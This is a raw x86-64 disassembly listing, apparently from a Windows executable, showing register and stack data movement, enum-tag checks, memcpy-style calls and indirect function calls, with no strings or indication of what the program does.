lea rcx, [rsp + 0x120]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmm1, xmmword [rsp + 0x130]
movdqu xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
mov qword [rsp + 0x850], rbp
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x48], r12
mov byte [rsp + 0x580], bl
mov byte [rsp + 0x581], al
mov qword [rsp + 0x588], rdi
lea rcx, [rsp + 0x590]
lea rdx, [rsp + 0x368]
mov rax, qword [rsp + 0x350]
mov r8, qword [rsp + 0x358]
mov r9, qword [rsp + 0x360]
call qword [rax]
movups xmm0, xmmword [rsp + 0x5a0]
movaps xmmword [rsp + 0x660], xmm0
movups xmm0, xmmword [rsp + 0x590]
movaps xmmword [rsp + 0x650], xmm0
movzx r12d, byte [rsp + 0x580]
movzx ebx, byte [rsp + 0x581]
movzx ebp, byte [rsp + 0x582]
mov rax, qword [rsp + 0x588]
mov ecx, dword [rsp + 0x583]
mov dword [rsp + 0x88], ecx
movzx ecx, byte [rsp + 0x587]
mov byte [rsp + 0x8c], cl
movups xmm0, xmmword [rsp + 0x1388]
movaps xmmword [rsp + 0x550], xmm0
mov rcx, qword [rsp + 0x1398]
mov qword [rsp + 0x560], rcx
movups xmm0, xmmword [rsp + 0x390]
movups xmm1, xmmword [rsp + 0x3a0]
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x130], xmm1
movzx ecx, byte [rsp + 0x8c]
mov byte [rsp + 0x84], cl
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0x80], ecx
mov rcx, qword [rsp + 0x560]
mov qword [rsp + 0xa20], rcx
movaps xmm0, xmmword [rsp + 0x550]
movaps xmmword [rsp + 0xa10], xmm0
movaps xmm0, xmmword [rsp + 0x120]
movaps xmm1, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xf00], xmm1
movaps xmmword [rsp + 0xef0], xmm0
movaps xmm0, xmmword [rsp + 0x650]
movaps xmm1, xmmword [rsp + 0x660]
movaps xmmword [rsp + 0x560], xmm1
movaps xmmword [rsp + 0x550], xmm0
cmp r12b, 4
je 0x14006587b
mov qword [rsp + 0x858], r15
movzx ecx, byte [rsp + 0x84]
mov byte [rsp + 0x127], cl
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0x123], ecx
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], 0
mov rax, qword [rsp + 0xa20]
mov qword [rsp + 0x148], rax
movaps xmm0, xmmword [rsp + 0xa10]
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x150], 0
movaps xmm0, xmmword [rsp + 0xef0]
movaps xmm1, xmmword [rsp + 0xf00]
movups xmmword [rsp + 0x158], xmm0
movups xmmword [rsp + 0x168], xmm1
mov byte [rsp + 0x120], r12b
mov byte [rsp + 0x121], bl
mov byte [rsp + 0x122], bpl
movaps xmm0, xmmword [rsp + 0x650]
movaps xmm1, xmmword [rsp + 0x660]
movups xmmword [rsp + 0x140], xmm1
movups xmmword [rsp + 0x130], xmm0
movups xmm0, xmmword [rsp + 0x153]
movaps xmmword [rsp + 0x3c0], xmm0
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x3dd], rax
movups xmm0, xmmword [rsp + 0x163]
movaps xmmword [rsp + 0x3d0], xmm0
movups xmm0, xmmword [rsp + 0x143]
movaps xmmword [rsp + 0x3b0], xmm0
movups xmm0, xmmword [rsp + 0x133]
movaps xmmword [rsp + 0x3a0], xmm0
movups xmm0, xmmword [rsp + 0x123]
movaps xmmword [rsp + 0x390], xmm0
mov rax, qword [rsp + 0x3dd]
mov qword [rsp + 0x6bd], rax
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x6b0], xmm0
movaps xmm0, xmmword [rsp + 0x390]
movaps xmm1, xmmword [rsp + 0x3a0]
movaps xmm2, xmmword [rsp + 0x3b0]
movaps xmm3, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x6a0], xmm3
movaps xmmword [rsp + 0x690], xmm2
movaps xmmword [rsp + 0x680], xmm1
movaps xmmword [rsp + 0x670], xmm0
mov rax, qword [rsp + 0x6bd]
mov qword [rsp + 0x170], rax
movaps xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rsp + 0x163], xmm0
movaps xmm0, xmmword [rsp + 0x670]
movaps xmm1, xmmword [rsp + 0x680]
movaps xmm2, xmmword [rsp + 0x690]
movaps xmm3, xmmword [rsp + 0x6a0]
movups xmmword [rsp + 0x153], xmm3
movups xmmword [rsp + 0x143], xmm2
movups xmmword [rsp + 0x133], xmm1
movups xmmword [rsp + 0x123], xmm0
mov byte [rsp + 0x120], r12b
mov byte [rsp + 0x121], bl
mov byte [rsp + 0x122], bpl
lea rdx, [0x14018e0c8]
lea rdi, [rsp + 0x650]
mov r8d, 1
mov rcx, rdi
call fcn.140007d10
lea rcx, [rsp + 0x550]
mov rdx, rdi
call fcn.140026240
mov r13, qword [rsp + 0x550]
movzx edi, byte [rsp + 0x558]
test r13, r13
je 0x14006596d
lea r15, [rsp + 0x123]
movzx r14d, byte [rsp + 0x559]
movups xmm0, xmmword [rsp + 0x568]
movups xmmword [rsp + 0x65e], xmm0
movups xmm0, xmmword [rsp + 0x55a]
movaps xmmword [rsp + 0x650], xmm0
mov rax, qword [rsp + 0x150]
test rax, rax
je 0x140060359
lea rcx, [rsp + 0x168]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x160]
call qword [rax + 0x10]
movzx r12d, byte [rsp + 0x120]
movzx ebx, byte [rsp + 0x121]
movzx ebp, byte [rsp + 0x122]
mov qword [rsp + 0x150], r13
mov byte [rsp + 0x158], dil
mov byte [rsp + 0x159], r14b
movaps xmm0, xmmword [rsp + 0x650]
movups xmmword [rsp + 0x15a], xmm0
movups xmm0, xmmword [rsp + 0x65e]
movups xmmword [rsp + 0x168], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0x390], xmm0
movaps xmmword [rsp + 0x3a0], xmm1
movaps xmmword [rsp + 0x3b0], xmm2
movaps xmmword [rsp + 0x3c0], xmm3
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rsp + 0x3d0], xmm0
mov rax, qword [r15 + 0x4d]
mov qword [rsp + 0x3dd], rax
movaps xmm0, xmmword [rsp + 0x390]
movaps xmm1, xmmword [rsp + 0x3a0]
movaps xmm2, xmmword [rsp + 0x3b0]
movaps xmm3, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0xf10], xmm0
movaps xmmword [rsp + 0xf20], xmm1
movaps xmmword [rsp + 0xf30], xmm2
movaps xmmword [rsp + 0xf40], xmm3
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0xf50], xmm0
mov rax, qword [rsp + 0x3dd]
mov qword [rsp + 0xf5d], rax
cmp r12b, 4
je 0x140065855
mov rax, qword [rsp + 0xf5d]
mov qword [rsp + 0x3e0], rax
movaps xmm0, xmmword [rsp + 0xf50]
movups xmmword [rsp + 0x3d3], xmm0
movaps xmm0, xmmword [rsp + 0xf10]
movaps xmm1, xmmword [rsp + 0xf20]
movaps xmm2, xmmword [rsp + 0xf30]
movaps xmm3, xmmword [rsp + 0xf40]
movups xmmword [rsp + 0x3c3], xmm3
movups xmmword [rsp + 0x3b3], xmm2
movups xmmword [rsp + 0x3a3], xmm1
movups xmmword [rsp + 0x393], xmm0
mov byte [rsp + 0x390], r12b
mov byte [rsp + 0x391], bl
mov byte [rsp + 0x392], bpl
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x390]
call fcn.1400241a0
movzx eax, byte [rsp + 0x120]
movzx edi, byte [rsp + 0x121]
cmp al, 3
mov rbx, qword [rsp + 0xa8]
mov r13, qword [rsp + 0x30]
mov r8, qword [rsp + 0x858]
je 0x14006585c
mov rcx, qword [rsp + 0x170]
mov qword [rsp + 0x6bd], rcx
movups xmm0, xmmword [rsp + 0x163]
movaps xmmword [rsp + 0x6b0], xmm0
movaps xmm0, xmmword [rsp + 0x6b0]
movaps xmmword [rsp + 0xa70], xmm0
mov rcx, qword [rsp + 0x6bd]
mov qword [rsp + 0xa7d], rcx
mov ecx, dword [rsp + 0xa0c]
mov dword [rsp + 0x5a0], ecx
movups xmm0, xmmword [rsp + 0x153]
movups xmm1, xmmword [rsp + 0x143]
movups xmm2, xmmword [rsp + 0x133]
movups xmm3, xmmword [rsp + 0x123]
movaps xmmword [rsp + 0xa30], xmm3
movaps xmmword [rsp + 0xa40], xmm2
movaps xmmword [rsp + 0xa50], xmm1
movaps xmmword [rsp + 0xa60], xmm0
movaps xmm0, xmmword [rsp + 0x340]
movaps xmm1, xmmword [rsp + 0x350]
movaps xmm2, xmmword [rsp + 0x360]
movups xmmword [rsp + 0xcd0], xmm2
movups xmmword [rsp + 0xcc0], xmm1
movups xmmword [rsp + 0xcb0], xmm0
movups xmm0, xmmword [rsp + 0x9ec]
movups xmm1, xmmword [rsp + 0x9fc]
movaps xmmword [rsp + 0x590], xmm1
movaps xmmword [rsp + 0x580], xmm0
mov rcx, qword [rsi + 0x768]
movzx edx, byte [rcx + 0x112]
movzx ecx, byte [rsp + 0x122]
mov byte [rsi + 0x9d1], dl
movaps xmm0, xmmword [rsp + 0xda0]
movaps xmm1, xmmword [rsp + 0xdb0]
movaps xmm2, xmmword [rsp + 0xdc0]
movups xmmword [rsi + 0x9d8], xmm0
movups xmmword [rsi + 0x9e8], xmm1
movups xmmword [rsi + 0x9f8], xmm2
mov rdx, qword [rsp + 0x890]
mov qword [rsi + 0xa08], rdx
mov qword [rsi + 0xa10], 0
mov qword [rsi + 0xa18], 6
mov rdx, qword [rsp + 0x878]
mov qword [rsi + 0xa20], rdx
mov rdx, qword [rsp + 0x838]
mov qword [rsi + 0xa28], rdx
mov rdx, qword [rsp + 0x870]
mov qword [rsi + 0xa30], rdx
movss dword [rsi + 0xa38], xmm8
movzx edx, byte [rsp + 0x5a]
mov byte [rsi + 0xa3c], dl
movzx edx, byte [rsp + 0x59]
mov byte [rsi + 0xa3d], dl
mov rdx, qword [rsp + 0x898]
mov qword [rsi + 0xa40], rdx
mov rdx, qword [rsp + 0x888]
mov qword [rsi + 0xa48], rdx
mov rdx, qword [rsp + 0x880]
mov qword [rsi + 0xa50], rdx
mov rdx, qword [rsp + 0x830]
mov qword [rsi + 0xa58], rdx
mov edx, dword [rsp + 0x384]
mov dword [rsi + 0xa60], edx
mov edx, dword [rsp + 0x5a0]
mov dword [rsi + 0xa84], edx
movaps xmm0, xmmword [rsp + 0x580]
movaps xmm1, xmmword [rsp + 0x590]
movups xmmword [rsi + 0xa74], xmm1
movups xmmword [rsi + 0xa64], xmm0
movzx edx, byte [rsp + 0x55]
mov byte [rsi + 0xa88], dl
mov rdx, qword [rsp + 0x860]
mov qword [rsi + 0xa90], rdx
movzx edx, byte [rsp + 0x58]
mov byte [rsi + 0xa98], dl
movzx edx, byte [rsp + 0x57]
mov byte [rsi + 0xa99], dl
movzx edx, byte [rsp + 0x56]
mov byte [rsi + 0xa9a], dl
mov rdx, qword [rsp + 0x60]
mov qword [rsi + 0xaa0], rdx
mov rdx, qword [rsp + 0x78]
mov qword [rsi + 0xaa8], rdx
mov rdx, qword [rsp + 0x98]
mov qword [rsi + 0xab0], rdx
mov rdx, qword [rsp + 0x118]
mov qword [rsi + 0xab8], rdx
mov rdx, qword [rsp + 0x8a8]
mov qword [rsi + 0xac0], rdx
mov rdx, qword [rsp + 0x8a0]
mov qword [rsi + 0xac8], rdx
mov rdx, qword [rsp + 0x8b8]
mov qword [rsi + 0xad0], rdx
mov edx, dword [rsp + 0x38c]
mov dword [rsi + 0xad8], edx
mov rdx, qword [rsp + 0x8c0]
mov qword [rsi + 0xae0], rdx
mov edx, dword [rsp + 0x40]
mov dword [rsi + 0xae8], edx
mov rdx, qword [rsp + 0x8b0]
mov qword [rsi + 0xaf0], rdx
movlps qword [rsi + 0xaf8], xmm7
mov edx, dword [rsp + 0x388]
mov dword [rsi + 0xb00], edx
movzx edx, byte [rsp + 0x5d]
mov byte [rsi + 0xb04], dl
movzx edx, byte [rsp + 0x5c]
mov byte [rsi + 0xb05], dl
mov rdx, qword [rsp + 0x868]
mov qword [rsi + 0xb08], rdx
mov rdx, qword [rsp + 0x840]
mov qword [rsi + 0xb10], rdx
movlps qword [rsi + 0xb18], xmm6
movzx edx, byte [rsp + 0x5b]
mov byte [rsi + 0xb20], dl
movzx edx, byte [rsp + 0x5e]
mov byte [rsi + 0xb21], dl
mov rdx, qword [rsp + 0xcd8]
mov qword [rsi + 0xb50], rdx
movups xmm0, xmmword [rsp + 0xcaa]
movups xmm1, xmmword [rsp + 0xcba]
movups xmm2, xmmword [rsp + 0xcca]
movups xmmword [rsi + 0xb42], xmm2
movups xmmword [rsi + 0xb32], xmm1
movups xmmword [rsi + 0xb22], xmm0
mov byte [rsi + 0xb58], al
mov byte [rsi + 0xb59], dil
mov byte [rsi + 0xb5a], cl
mov rax, qword [rsp + 0xa7d]
mov qword [rsi + 0xba8], rax
movaps xmm0, xmmword [rsp + 0xa70]
movups xmmword [rsi + 0xb9b], xmm0
movaps xmm0, xmmword [rsp + 0xa30]
movaps xmm1, xmmword [rsp + 0xa40]
movaps xmm2, xmmword [rsp + 0xa50]
movaps xmm3, xmmword [rsp + 0xa60]
movups xmmword [rsi + 0xb8b], xmm3
movups xmmword [rsi + 0xb7b], xmm2
movups xmmword [rsi + 0xb6b], xmm1
movups xmmword [rsi + 0xb5b], xmm0
mov rax, qword [rsp + 0x850]
mov qword [rsi + 0xbb0], rax
mov qword [rsi + 0xbb8], r8
mov rax, qword [rsp + 0x848]
mov qword [rsi + 0xbc0], rax
movzx eax, byte [rsp + 0x5f]
mov byte [rsi + 0xbc8], al
mov byte [rsi + 0xbc9], al
mov r12, qword [rsp + 0x48]
cmp dword [rsi + 0xa18], 9
je 0x140065863
mov qword [rsp + 0x30], r13
lea rbp, [rsi + 0x9d8]
lea r13, [rsi + 0xa18]
lea rcx, [rsp + 0xf10]
mov rdx, rbp
mov r8, rbx
call fcn.140082140
cmp byte [rsp + 0xf80], 3
jne 0x140060af1
lea rcx, [rsp + 0x670]
mov rdx, r13
mov r8, rbx
call fcn.140065d00
cmp byte [rsp + 0x6e0], 3
je 0x140060c1f
mov rbx, qword [r13]
mov qword [r13], 9
cmp rbx, 9
je 0x140065ac8
lea rdx, [rsi + 0xa20]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x160], rbx
lea rdi, [rsp + 0x168]
mov r8d, 0x1b0
mov rcx, rdi
call fcn.140121660
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movups xmmword [rsp + 0x408], xmm0
movups xmmword [rsp + 0x418], xmm1
movups xmmword [rsp + 0x428], xmm2
movups xmmword [rsp + 0x438], xmm3
mov rax, qword [rsp + 0x6e0]
mov qword [rsp + 0x400], rax
movups xmm0, xmmword [rsp + 0x6d0]
movaps xmmword [rsp + 0x3f0], xmm0
movups xmm0, xmmword [rsp + 0x6c0]
movaps xmmword [rsp + 0x3e0], xmm0
movups xmm0, xmmword [rsp + 0x6b0]
movaps xmmword [rsp + 0x3d0], xmm0
movups xmm0, xmmword [rsp + 0x670]
movups xmm1, xmmword [rsp + 0x680]
movups xmm2, xmmword [rsp + 0x690]
movups xmm3, xmmword [rsp + 0x6a0]
movaps xmmword [rsp + 0x3c0], xmm3
movaps xmmword [rsp + 0x3b0], xmm2
movaps xmmword [rsp + 0x3a0], xmm1
movaps xmmword [rsp + 0x390], xmm0
lea rcx, [rsp + 0x8d0]
lea rdx, [rsp + 0x390]
mov r8d, 0xb8
call fcn.140121660
lea rcx, [rbx - 6]
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x140060c26
test rax, rax
jne 0x140060c4d
mov rcx, rdi
call fcn.14005d190
jmp 0x140060c4d
mov rbx, qword [r13]
mov qword [r13], 9
cmp rbx, 9
je 0x140065ac8
lea rdi, [rsi + 0xa20]
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x160], rbx
lea rcx, [rsp + 0x168]
mov r8d, 0x1b0
mov rdx, rdi
call fcn.140121660
lea rcx, [rsp + 0x8d0]
mov r8d, 0xb8
mov rdx, rdi
call fcn.140121660
lea rdx, [rsi + 0xad8]
lea rcx, [rsp + 0x1290]
mov r8d, 0xf8
call fcn.140121660
movups xmm0, xmmword [rsp + 0xf10]
movups xmm1, xmmword [rsp + 0xf20]
movups xmm2, xmmword [rsp + 0xf30]
movups xmm3, xmmword [rsp + 0xf40]
movaps xmmword [rsp + 0x5d0], xmm0
movaps xmmword [rsp + 0x5e0], xmm1
movaps xmmword [rsp + 0x5f0], xmm2
movaps xmmword [rsp + 0x600], xmm3
movups xmm0, xmmword [rsp + 0xf50]
movaps xmmword [rsp + 0x610], xmm0
movups xmm0, xmmword [rsp + 0xf60]
movaps xmmword [rsp + 0x620], xmm0
movups xmm0, xmmword [rsp + 0xf70]
movaps xmmword [rsp + 0x630], xmm0
mov rax, qword [rsp + 0xf80]
mov qword [rsp + 0x640], rax
lea rcx, [rsp + 0x120]
call fcn.140066280
cmp rbx, 0xa
jne 0x140060c52
mov al, 3
jmp 0x1400622ea
cmp rbx, 5
jne 0x140060c40
cmp byte [rsp + 0x1d8], 3
je 0x140060c4d
mov rcx, rdi
call fcn.14005da90
jmp 0x140060c4d
lea rcx, [rsp + 0x160]
call fcn.14005d2e0
mov ebx, 9
mov word [rsi + 0x9d6], 0x101
movaps xmm0, xmmword [rsp + 0x5d0]
movdqa xmm1, xmmword [rsp + 0x5e0]
movdqa xmm2, xmmword [rsp + 0x5f0]
movdqa xmm3, xmmword [rsp + 0x600]
movups xmmword [rsi + 0x7a0], xmm0
movdqu xmmword [rsi + 0x7b0], xmm1
movdqu xmmword [rsi + 0x7c0], xmm2
movdqu xmmword [rsi + 0x7d0], xmm3
movaps xmm0, xmmword [rsp + 0x610]
movups xmmword [rsi + 0x7e0], xmm0
movaps xmm0, xmmword [rsp + 0x620]
movups xmmword [rsi + 0x7f0], xmm0
movdqa xmm0, xmmword [rsp + 0x630]
movdqu xmmword [rsi + 0x800], xmm0
mov rax, qword [rsp + 0x640]
mov qword [rsi + 0x810], rax
lea rdi, [rsi + 0x818]
mov qword [rsi + 0x818], rbx
lea rcx, [rsi + 0x820]
lea rdx, [rsp + 0x8d0]
mov r8d, 0xb8
call fcn.140121660
lea rcx, [rsi + 0x8d8]
lea rdx, [rsp + 0x1290]
mov r8d, 0xf8
call fcn.140121660
cmp dword [rsi + 0xa18], 9
je 0x14006110e
mov rcx, rbp
call fcn.140066280
mov rax, qword [r13]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400610f0
test rcx, rcx
jne 0x14006110e
lea rcx, [rsi + 0xa20]
call fcn.14005d190
cmp dword [rdi], 9
je 0x140061117
movzx r14d, byte [rsi + 0x810]
cmp r14b, 2
mov r13, qword [rsp + 0x30]
jne 0x140060fb3
mov byte [rsi + 0x9d3], 1
mov r15, qword [rsi + 0x7a0]
mov qword [rsi + 0x9d8], r15
lea rcx, [rsp + 0x120]
mov r8d, 0x1b8
mov rdx, rdi
call fcn.140121660
mov byte [rsi + 0x9d2], 1
cmp byte [r15 + 0x30], 4
jne 0x1400614af
mov byte [rsi + 0x9d2], 0
lea rcx, [rsi + 0x9e0]
mov r8d, 0x1b8
mov rdx, rdi
call fcn.140121660
mov rbx, qword [rsp + 0xa8]
lea rdi, [rsi + 0x9e0]
lea rcx, [rsp + 0x390]
mov rdx, rdi
mov r8, rbx
call fcn.140065d00
movzx r14d, byte [rsp + 0x400]
cmp r14b, 3
je 0x1400622e8
mov rbx, qword [rsp + 0x390]
mov r15, qword [rsp + 0x398]
movups xmm0, xmmword [rsp + 0x3a0]
movaps xmmword [rsp + 0xe30], xmm0
movups xmm0, xmmword [rsp + 0x3b0]
movaps xmmword [rsp + 0xe40], xmm0
movups xmm0, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0xe50], xmm0
movups xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0xe60], xmm0
movups xmm0, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0xe70], xmm0
movdqu xmm0, xmmword [rsp + 0x3f0]
movdqa xmmword [rsp + 0xe80], xmm0
mov eax, dword [rsp + 0x401]
mov dword [rsp + 0x330], eax
mov eax, dword [rsp + 0x404]
mov dword [rsp + 0x333], eax
mov rax, qword [rdi]
lea rdx, [rax - 6]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x140060f74
test rcx, rcx
jne 0x140060f92
lea rcx, [rsi + 0x9e8]
call fcn.14005d190
xor ebp, ebp
cmp r14b, 2
je 0x140060f9e
movaps xmm0, xmmword [rsp + 0xe80]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0xe70]
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [rsp + 0xe30]
movdqa xmm1, xmmword [rsp + 0xe40]
movdqa xmm2, xmmword [rsp + 0xe50]
movdqa xmm3, xmmword [rsp + 0xe60]
movdqa xmmword [rsp + 0xe0], xmm3
movdqa xmmword [rsp + 0xd0], xmm2
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
mov eax, dword [rsp + 0x330]
mov ecx, dword [rsp + 0x333]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6b], ecx
mov rbp, rbx
test byte [rsi + 0x9d2], 1
jne 0x1400614bb
jmp 0x140061528
cmp eax, 5
jne 0x1400610d7
cmp byte [rsi + 0xa58], 3
je 0x140060f92
lea rcx, [rsi + 0x9e8]
call fcn.14005da90
xor ebp, ebp
cmp r14b, 2
jne 0x140060ee1
mov r15, rbx
test byte [rsi + 0x9d2], 1
jne 0x1400614bb
jmp 0x140061528
mov rbp, qword [rsi + 0x7a0]
mov r15, qword [rsi + 0x7a8]
movups xmm0, xmmword [rsi + 0x800]
movaps xmmword [rsp + 0xe20], xmm0
movups xmm0, xmmword [rsi + 0x7f0]
movaps xmmword [rsp + 0xe10], xmm0
movups xmm0, xmmword [rsi + 0x7e0]
movaps xmmword [rsp + 0xe00], xmm0
movups xmm0, xmmword [rsi + 0x7d0]
movaps xmmword [rsp + 0xdf0], xmm0
movups xmm0, xmmword [rsi + 0x7c0]
movaps xmmword [rsp + 0xde0], xmm0
movdqu xmm0, xmmword [rsi + 0x7b0]
movdqa xmmword [rsp + 0xdd0], xmm0
mov eax, dword [rsi + 0x811]
mov ecx, dword [rsi + 0x814]
mov dword [rsp + 0x328], eax
mov dword [rsp + 0x32b], ecx
lea rcx, [rsp + 0xf10]
mov r8d, 0x1b8
mov rdx, rdi
call fcn.140121660
cmp dword [rsp + 0xf10], 6
jne 0x140061550
lea rax, [rsi + 0x7b0]
lea rcx, [rsi + 0x811]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0xf0], xmm0
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
movdqa xmmword [rsp + 0xe0], xmm3
movdqa xmmword [rsp + 0xd0], xmm2
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6b], ecx
lea rcx, [rsp + 0xf18]
call fcn.14005d190
jmp 0x140061715
mov rcx, rdi
call fcn.14005d2e0
xor ebp, ebp
cmp r14b, 2
je 0x140060f9e
jmp 0x140060ee1
cmp eax, 5
jne 0x140061623
cmp byte [rsi + 0xa90], 3
je 0x14006110e
lea rcx, [rsi + 0xa20]
call fcn.14005da90
cmp dword [rdi], 9
jne 0x140060d6f
movzx r14d, byte [rsi + 0x890]
cmp r14b, 2
mov r13, qword [rsp + 0x30]
jne 0x1400613dd
mov byte [rsi + 0x9d5], 1
mov r15, qword [rsi + 0x820]
mov qword [rsi + 0x9d8], r15
mov byte [rsi + 0x9d4], 1
movdqu xmm0, xmmword [rsi + 0x898]
movdqu xmm1, xmmword [rsi + 0x8a8]
movdqu xmm2, xmmword [rsi + 0x8b8]
movdqu xmm3, xmmword [rsi + 0x8c8]
movdqa xmmword [rsp + 0x3c0], xmm3
movdqa xmmword [rsp + 0x3b0], xmm2
movdqa xmmword [rsp + 0x3a0], xmm1
movdqa xmmword [rsp + 0x390], xmm0
cmp byte [r15 + 0x30], 4
jne 0x1400615ec
mov qword [rsp + 0x48], r12
lea rax, [rsi + 0x898]
mov byte [rsi + 0x9d4], 0
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmm3, xmmword [rax + 0x30]
movups xmmword [rsi + 0x9e0], xmm0
movdqu xmmword [rsi + 0x9f0], xmm1
movdqu xmmword [rsi + 0xa00], xmm2
movdqu xmmword [rsi + 0xa10], xmm3
mov rbx, qword [rsp + 0xa8]
lea rdi, [rsi + 0x9e0]
lea rcx, [rsp + 0x120]
mov rdx, rdi
mov r8, rbx
call fcn.140082140
movzx r14d, byte [rsp + 0x190]
cmp r14b, 3
je 0x1400622e4
mov rcx, rdi
mov r12, qword [rsp + 0x120]
mov r15, qword [rsp + 0x128]
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0xe90], xmm0
movups xmm0, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0xea0], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xeb0], xmm0
movups xmm0, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0xec0], xmm0
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xed0], xmm0
movdqu xmm0, xmmword [rsp + 0x180]
movdqa xmmword [rsp + 0xee0], xmm0
mov eax, dword [rsp + 0x191]
mov dword [rsp + 0x338], eax
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0x33b], eax
call fcn.140066280
cmp r14b, 2
jne 0x14006132b
xor ebp, ebp
cmp byte [rsi + 0x9d1], 0
je 0x1400613c3
xor ebp, ebp
cmp byte [r12 + 0x30], 4
jne 0x1400613c3
mov rdi, qword [r12]
xor ebp, ebp
test rdi, rdi
je 0x1400613c3
mov qword [rsp + 0x30], r13
mov rbx, qword [r12 + 8]
movabs r15, 0x412ce6af36cdced1
movabs r13, 0xe2065c4bd7cd24f3
xor ebp, ebp
nop
mov rcx, rdi
call qword [rbx + 0x38]
xor rax, r15
xor rdx, r13
or rdx, rax
je 0x1400616ca
mov rcx, rdi
call qword [rbx + 0x30]
mov rdi, rax
mov rbx, rdx
test rax, rax
jne 0x140061300
jmp 0x1400616cf
movaps xmm0, xmmword [rsp + 0xee0]
movaps xmmword [rsp + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0xed0]
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [rsp + 0xe90]
movdqa xmm1, xmmword [rsp + 0xea0]
movdqa xmm2, xmmword [rsp + 0xeb0]
movdqa xmm3, xmmword [rsp + 0xec0]
movdqa xmmword [rsp + 0xe0], xmm3
movdqa xmmword [rsp + 0xd0], xmm2
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmmword [rsp + 0xb0], xmm0
mov eax, dword [rsp + 0x338]
mov ecx, dword [rsp + 0x33b]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6b], ecx
mov rbp, r12
test byte [rsi + 0x9d4], 1
mov r12, qword [rsp + 0x48]
je 0x1400616f2
jmp 0x1400616e5
mov r15, r12
test byte [rsi + 0x9d4], 1
mov r12, qword [rsp + 0x48]
je 0x1400616f2
jmp 0x1400616e5
mov rbp, qword [rsi + 0x820]
mov r15, qword [rsi + 0x828]
movups xmm0, xmmword [rsi + 0x880]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rsi + 0x870]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rsi + 0x860]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [rsi + 0x850]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsi + 0x840]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rsi + 0x830]
movaps xmmword [rsp + 0xb0], xmm0
mov eax, dword [rsi + 0x891]
mov ecx, dword [rsi + 0x894]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6b], ecx
movdqu xmm0, xmmword [rsi + 0x898]
movdqu xmm1, xmmword [rsi + 0x8a8]
movdqu xmm2, xmmword [rsi + 0x8b8]
movdqu xmm3, xmmword [rsi + 0x8c8]
